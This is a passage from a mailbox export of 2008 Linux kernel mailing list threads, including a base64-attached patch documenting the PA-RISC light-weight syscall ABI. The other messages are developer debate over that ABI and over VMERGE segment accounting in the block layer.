>> Remove extraneous .align 16 after lws_lock_start.
>>
>> Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>
>
> Signed-off-by: Helge Deller <deller@gmx.de>

Thanks.

Kyle,

Please apply the patch and send it upstream?

Cheers,
Carlos.

------=_Part_14571_9724522.1216151467651
Content-Type: text/x-diff; name=syscall.S.diff
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fiox68gd0
Content-Disposition: attachment; filename=syscall.S.diff

W1BBUklTQ10gRG9jdW1lbnQgTFdTIEFCSSBhbmQgTFdTIGNsZWFudXBzLgoKRG9jdW1lbnQgdGhl
IExXUyBBQkkgaW5jbHVkaW5nIGltcGxlbWVudGF0aW9uIG5vdGVzIGZvcgp1c2Vyc3BhY2UsIGFu
ZCBjb21tZW50IGNsZWFudXAuCgpSZW1vdmUgZXh0cmFuZW91cyAuYWxpZ24gMTYgYWZ0ZXIgbHdz
X2xvY2tfc3RhcnQuCgpTaWduZWQtb2ZmLWJ5OiBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0BzeXN0
ZW1oYWx0ZWQub3JnPgpTaWduZWQtb2ZmLWJ5OiBIZWxnZSBEZWxsZXIgPGRlbGxlckBnbXguZGU+
CgpkaWZmIC0tZ2l0IGEvYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGwuUyBiL2FyY2gvcGFyaXNj
L2tlcm5lbC9zeXNjYWxsLlMKaW5kZXggNjliNmVlYi4uM2ZjNzNhZCAxMDA2NDQKLS0tIGEvYXJj
aC9wYXJpc2Mva2VybmVsL3N5c2NhbGwuUworKysgYi9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2Fs
bC5TCkBAIC0zNjUsMTcgKzM2NSw1MSBAQCB0cmFjZXN5c19zaWdleGl0OgogCiAKIAkvKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCi0JCUxp
Z2h0LXdlaWdodC1zeXNjYWxsIGNvZGUKKwkJMzIvNjQtYml0IExpZ2h0LVdlaWdodC1TeXNjYWxs
IEFCSQogCi0JCXIyMCAtIGx3cyBudW1iZXIKLQkJcjI2LHIyNSxyMjQscjIzLHIyMiAtIElucHV0
IHJlZ2lzdGVycwotCQlyMjggLSBGdW5jdGlvbiByZXR1cm4gcmVnaXN0ZXIKLQkJcjIxIC0gRXJy
b3IgY29kZS4KKwkJKiAtIEluZGljYXRlcyBhIGhpbnQgZm9yIHVzZXJzcGFjZSBpbmxpbmUgYXNt
CisJCWltcGxlbWVudGF0aW9ucy4KIAotCQlTY3JhY3RoOiBBbnkgb2YgdGhlIGFib3ZlIHRoYXQg
YXJlbid0IGJlaW5nCi0JCWN1cnJlbnRseSB1c2VkLCBpbmNsdWRpbmcgcjEuIAorCQlTeXNjYWxs
IG51bWJlciAoY2FsbGVyLXNhdmVzKQorCSAgICAgICAgLSAlcjIwCisJICAgICAgICAqIEluIGFz
bSBjbG9iYmVyLgogCi0JCVJldHVybiBwb2ludGVyOiByMzEgKE5vdCB1c2FibGUpCisJCUFyZ3Vt
ZW50IHJlZ2lzdGVycyAoY2FsbGVyLXNhdmVzKQorCSAgICAgICAgLSAlcjI2LCAlcjI1LCAlcjI0
LCAlcjIzLCAlcjIyCisJICAgICAgICAqIEluIGFzbSBpbnB1dC4KKworCQlSZXR1cm4gcmVnaXN0
ZXJzIChjYWxsZXItc2F2ZXMpCisJICAgICAgICAtICVyMjggKHJldHVybiksICVyMjEgKGVycm5v
KQorCSAgICAgICAgKiBJbiBhc20gb3V0cHV0LgorCisJCUNhbGxlci1zYXZlcyByZWdpc3RlcnMK
KwkgICAgICAgIC0gJXIxLCAlcjI3LCAlcjI5CisJICAgICAgICAtICVyMiAocmV0dXJuIHBvaW50
ZXIpCisJICAgICAgICAtICVyMzEgKGJsZSBsaW5rIHJlZ2lzdGVyKQorCSAgICAgICAgKiBJbiBh
c20gY2xvYmJlci4KKworCQlDYWxsZWUtc2F2ZXMgcmVnaXN0ZXJzCisJICAgICAgICAtICVyMy0l
cjE4CisJICAgICAgICAtICVyMzAgKHN0YWNrIHBvaW50ZXIpCisJICAgICAgICAqIE5vdCBpbiBh
c20gY2xvYmJlci4KKworCQlJZiB1c2Vyc3BhY2UgaXMgMzItYml0OgorCQlDYWxsZWUtc2F2ZXMg
cmVnaXN0ZXJzCisJICAgICAgICAtICVyMTkgKDMyLWJpdCBQSUMgcmVnaXN0ZXIpCisKKwkJRGlm
ZmVyZW5jZXMgZnJvbSAzMi1iaXQgY2FsbGluZyBjb252ZW50aW9uOgorCQktIFN5c2NhbGwgbnVt
YmVyIGluICVyMjAKKwkJLSBBZGRpdGlvbmFsIGFyZ3VtZW50IHJlZ2lzdGVyICVyMjIgKGFyZzQp
CisJCS0gQ2FsbGVlLXNhdmVzICVyMTkuCisKKwkJSWYgdXNlcnNwYWNlIGlzIDY0LWJpdDoKKwkJ
Q2FsbGVlLXNhdmVzIHJlZ2lzdGVycworCQktICVyMjcgKDY0LWJpdCBQSUMgcmVnaXN0ZXIpCisK
KwkJRGlmZmVyZW5jZXMgZnJvbSA2NC1iaXQgY2FsbGluZyBjb252ZW50aW9uOgorCQktIFN5c2Nh
bGwgbnVtYmVyIGluICVyMjAKKwkJLSBBZGRpdGlvbmFsIGFyZ3VtZW50IHJlZ2lzdGVyICVyMjIg
KGFyZzQpCisJCS0gQ2FsbGVlLXNhdmVzICVyMjcuCiAKIAkJRXJyb3IgY29kZXMgcmV0dXJuZWQg
YnkgZW50cnkgcGF0aDoKIApAQCAtNDczLDcgKzUwNyw4IEBAIGx3c19jb21wYXJlX2FuZF9zd2Fw
NjQ6CiAJYixuCWx3c19jb21wYXJlX2FuZF9zd2FwCiAjZWxzZQogCS8qIElmIHdlIGFyZSBub3Qg
YSA2NC1iaXQga2VybmVsLCB0aGVuIHdlIGRvbid0Ci0JICogaW1wbGVtZW50IGhhdmluZyA2NC1i
aXQgaW5wdXQgcmVnaXN0ZXJzCisJICogaGF2ZSA2NC1iaXQgaW5wdXQgcmVnaXN0ZXJzLCBhbmQg
Y2FsbGluZworCSAqIHRoZSA2NC1iaXQgTFdTIENBUyByZXR1cm5zIEVOT1NZUy4KIAkgKi8KIAli
LG4JbHdzX2V4aXRfbm9zeXMKICNlbmRpZgpAQCAtNjM1LDEyICs2NzAsMTUgQEAgRU5EKHN5c19j
YWxsX3RhYmxlNjQpCiAJLyoKIAkJQWxsIGxpZ2h0LXdlaWdodC1zeXNjYWxsIGF0b21pYyBvcGVy
YXRpb25zIAogCQl3aWxsIHVzZSB0aGlzIHNldCBvZiBsb2NrcyAKKworCQlOT1RFOiBUaGUgbHdz
X2xvY2tfc3RhcnQgc3ltYm9sIG11c3QgYmUgCisJCWF0IGxlYXN0IDE2LWJ5dGUgYWxpZ25lZCBm
b3Igc2FmZSB1c2UKKwkJd2l0aCBsZGN3LgogCSovCiAJLnNlY3Rpb24gLmRhdGEKIAkuYWxpZ24J
UEFHRV9TSVpFCiBFTlRSWShsd3NfbG9ja19zdGFydCkKIAkvKiBsd3MgbG9ja3MgKi8KLQkuYWxp
Z24gMTYKIAkucmVwdCAxNgogCS8qIEtlZXAgbG9ja3MgYWxpZ25lZCBhdCAxNi1ieXRlcyAqLwog
CS53b3JkIDEK
------=_Part_14571_9724522.1216151467651--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Tue, 15 Jul 2008 17:50:37 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807151731530.14420@devserv.devel.redhat.com>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
  <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com> 
 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>  <1216133421.3312.30.camel@localhost.localdomain>
  <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com> 
 <1216136503.3312.48.camel@localhost.localdomain> 
 <Pine.LNX.4.64.0807151147040.29803@devserv.devel.redhat.com> 
 <1216138072.3312.54.camel@localhost.localdomain> 
 <Pine.LNX.4.64.0807151210400.31336@devserv.devel.redhat.com>
 <1216139792.3312.74.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1216158676 10579 80.91.229.12 (15 Jul 2008 21:51:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 21:51:16 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jul 15 23:52:03 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIsRE-0003QL-Vy
	for lnx-linux-scsi@gmane.org; Tue, 15 Jul 2008 23:52:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755958AbYGOVu6 (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 15 Jul 2008 17:50:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751306AbYGOVu5
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Tue, 15 Jul 2008 17:50:57 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:59526 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755925AbYGOVu4 (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Tue, 15 Jul 2008 17:50:56 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6FLoeXg004639;
	Tue, 15 Jul 2008 17:50:40 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6FLocC2004761;
	Tue, 15 Jul 2008 17:50:38 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6FLocgX019319;
	Tue, 15 Jul 2008 17:50:38 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6FLoc5E020959;
	Tue, 15 Jul 2008 17:50:38 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6FLobLf020954;
	Tue, 15 Jul 2008 17:50:37 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <1216139792.3312.74.camel@localhost.localdomain>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43195 gmane.linux.kernel:707221 gmane.linux.ports.parisc:510
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/510>

> > > Yes, but it's gains very little ... architectures that don't want it can
> > > already turn it off, and it's useful for those, like parisc, who do.
> > 
> > It increases maintainability of the code, reduces bloat and bugs.
> 
> That's not really a good reason.  You can eliminate code because it's
> unused and unikely to be used or you redo it to better or fix it to be
> less buggy.  You don't simply eliminate useful functionality that
> currently has in-tree users, however marginal you might opine those
> users to be.
> 
> James

So show a specific device where the virtual merge accounting is useful.

(1) The device that is often used in alpha or pa-risc environments --- 
because the accounting is not used on other archs.

(2) The device that is performance-sensitive --- not something outdated or 
unusual.

(3) And the device that has limited sg-list size, so that generic I/O 
requests made by the kernel hit this limit. (if the sg-list is so big that 
nr_phys_segments of most requests fits into it, you don't need to count 
nr_hw_segments --- because nr_hw_segments < nr_phys_segments and 
nr_phys_segments already fits).

[ the device that traverses its sg-list slowly doesn't fall into category 
(3), beacuse virtual merging would happen with or without nr_hw_segments 
accounting ]

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Document LWS ABI.
Date: Tue, 15 Jul 2008 20:15:13 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20080716001514.74D5F431A@hiauly1.hia.nrc.ca>
References: <119aab440807151251m7d00ca82gde10474cb35e8430@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216167325 1820 80.91.229.12 (16 Jul 2008 00:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2008 00:15:25 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, dave.anglin@nrc.ca,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 02:16:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIugm-0000yp-4d
	for glpp-linux-parisc@gmane.org; Wed, 16 Jul 2008 02:16:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754026AbYGPAPR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 20:15:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754219AbYGPAPR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 20:15:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3269 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754026AbYGPAPQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 20:15:16 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 74D5F431A; Tue, 15 Jul 2008 20:15:14 -0400 (EDT)
In-Reply-To: <119aab440807151251m7d00ca82gde10474cb35e8430@mail.gmail.com> from "Carlos O'Donell" at Jul 15, 2008 03:51:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/511>

> >> The LWS interface *already* has a 64-bit runtime entry point, see
> >> arch/parisc/kernel/syscall.S:
> >> [....]
> >
> > Sure. I thought the discussion was about adding a 64-bit runtime entry point
> > which operates on a 64-bit pointer. But this can be done discussed when
> > 64-bit userspace is coming...
> 
> The entry point is already there. It's LWS #1. Apparnetly I created it
> with a 64-bit userspace in mind.

You didn't respond to the issue.

> Please apply the patch and send it upstream?

This ABI change is unjustified and I won't approve the Helge's GCC patch
with this change.  You will also have to change the glibc code to match.

Kyle indicated that he didn't want any major changes to the LWS interface,
so reserving several new registers is unnecessary.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Wed, 16 Jul 2008 09:34:36 +0900
Lines: 28
Approved: news@gmane.org
Message-ID: <20080716093456J.fujita.tomonori@lab.ntt.co.jp>
References: <Pine.LNX.4.64.0807151033040.25390@devserv.devel.redhat.com>
	<20080716003047P.fujita.tomonori@lab.ntt.co.jp>
	<Pine.LNX.4.64.0807151143050.29803@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216168520 4480 80.91.229.12 (16 Jul 2008 00:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2008 00:35:20 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Jul 16 02:36:07 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIv02-0005UY-SA
	for lnx-linux-scsi@gmane.org; Wed, 16 Jul 2008 02:36:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754419AbYGPAfJ (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 15 Jul 2008 20:35:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754123AbYGPAfI
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Tue, 15 Jul 2008 20:35:08 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:46518 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754050AbYGPAfG (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Tue, 15 Jul 2008 20:35:06 -0400
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id m6G0Yah1016818;
	Wed, 16 Jul 2008 09:34:36 +0900
In-Reply-To: <Pine.LNX.4.64.0807151143050.29803@devserv.devel.redhat.com>
Original-Lines: 23
X-Virus-Scanned: ClamAV 0.93.1/2691/Fri Mar  2 08:24:05 2007 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43197 gmane.linux.kernel:707347 gmane.linux.ports.parisc:512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/512>

On Tue, 15 Jul 2008 11:46:46 -0400 (EDT)
Mikulas Patocka <mpatocka@redhat.com> wrote:

> >> Even if we fix it now, the question is: how long it will stay fixed? Until
> >> someone makes another change to struct device that restricts boundaries on
> >> some wacky hardware.
> >
> > I'm not sure how the boundary restriction of a device can break
> > the VMERGE accounting.
> 
> Because block layer code doesn't know anything about the device, pci 
> access restrictions and so on.

Not true, the block layer knows about the device restrictions like DMA
boundary.

But it's not the point here because the boundary restriction doesn't
matter for the VMERGE accounting. An IOMMU just returns an error if it
can't allocate an I/O space fit for the device restrictions.


Please give me an example how the boundary restriction of a device can
break the VMERGE accounting and an IOMMU if you aren't still sure.
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Document LWS ABI.
Date: Tue, 15 Jul 2008 20:54:24 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <119aab440807151754r376e339eoe5e496f4642de4df@mail.gmail.com>
References: <119aab440807151251m7d00ca82gde10474cb35e8430@mail.gmail.com>
	 <20080716001514.74D5F431A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216169676 6890 80.91.229.12 (16 Jul 2008 00:54:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2008 00:54:36 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, dave.anglin@nrc.ca,
	linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 02:55:23 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIvIg-00010d-UE
	for glpp-linux-parisc@gmane.org; Wed, 16 Jul 2008 02:55:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753166AbYGPAy1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 20:54:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753034AbYGPAy1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 20:54:27 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.183]:60160 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751288AbYGPAy0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 20:54:26 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so3157961waf.23
        for <linux-parisc@vger.kernel.org>; Tue, 15 Jul 2008 17:54:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=8Qdn4/GgYs96TmWvfxAFyCYg/MrhHQc1am0YSQ5PDZU=;
        b=vV0n5SFj8mo80Hb6tCfrRV+uDSwmnY9ECKV9MeNYLWMxxWSP3Vseisy2TLCB7a0puH
         pYB0zHZ9lqau7G1jMzqVoQUj87FwhcujMgJFqf/uq4lmXaFm6GnN0y+7gxw3nxejMj7J
         YZsQCEsYd0lrZaxGpNT/siLseFUFAOYdN6fRo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=LxRS9pTY9Gz2lpw1yWZ0giPOxeN2ZlQStqVAjN90aYHrRxHIBZw3SNMu0WpnyZ2wuP
         IrJDVkXfxABOOgMWP6wFX3C1H1DCeqfnuRyrI1TvgDQ06ISCQcZPCGfHo3PfsyxS2RtL
         vHHI9ausGxoFTA7wx621AhvWHkDHSvGP9+V3M=
Original-Received: by 10.115.16.1 with SMTP id t1mr19944121wai.19.1216169664826;
        Tue, 15 Jul 2008 17:54:24 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Tue, 15 Jul 2008 17:54:24 -0700 (PDT)
In-Reply-To: <20080716001514.74D5F431A@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 19ecb50c63993ce0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/513>

On Tue, Jul 15, 2008 at 8:15 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> > Sure. I thought the discussion was about adding a 64-bit runtime entry point
>> > which operates on a 64-bit pointer. But this can be done discussed when
>> > 64-bit userspace is coming...
>>
>> The entry point is already there. It's LWS #1. Apparnetly I created it
>> with a 64-bit userspace in mind.
>
> You didn't respond to the issue.

It doesn't work for the 64-bit runtime, I only used stw/ldw, and it
should be std/ldd. Which operation depends on the width of userspace,
so in all likelyhood I have to just duplicate the code. No real
problem there.

>> Please apply the patch and send it upstream?
>
> This ABI change is unjustified and I won't approve the Helge's GCC patch
> with this change.  You will also have to change the glibc code to match.
>
> Kyle indicated that he didn't want any major changes to the LWS interface,
> so reserving several new registers is unnecessary.

All I have done is clarify the intended interface. There has been no
actual change from what is already implemented. The glibc code already
matches this interface.

The question is "Are you OK with the existing ABI?" :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Document LWS ABI.
Date: Tue, 15 Jul 2008 23:05:51 -0400 (EDT)
Lines: 65
Approved: news@gmane.org
Message-ID: <20080716030552.766ED4E77@hiauly1.hia.nrc.ca>
References: <119aab440807151754r376e339eoe5e496f4642de4df@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216177581 25029 80.91.229.12 (16 Jul 2008 03:06:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2008 03:06:21 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, dave.anglin@nrc.ca,
	linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 05:07:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIxM2-0003FH-Pq
	for glpp-linux-parisc@gmane.org; Wed, 16 Jul 2008 05:06:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756456AbYGPDFz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 23:05:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756625AbYGPDFz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 23:05:55 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3284 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756456AbYGPDFx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 23:05:53 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 766ED4E77; Tue, 15 Jul 2008 23:05:52 -0400 (EDT)
In-Reply-To: <119aab440807151754r376e339eoe5e496f4642de4df@mail.gmail.com> from "Carlos O'Donell" at Jul 15, 2008 08:54:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/514>

> The question is "Are you OK with the existing ABI?" :-)

No.  As I understand it, r2 doesn't need to be clobbered because
glibc doesn't currently clobber it.  So, using it in the LWS code
would cause an ABI break.  That's one register back to userspace.

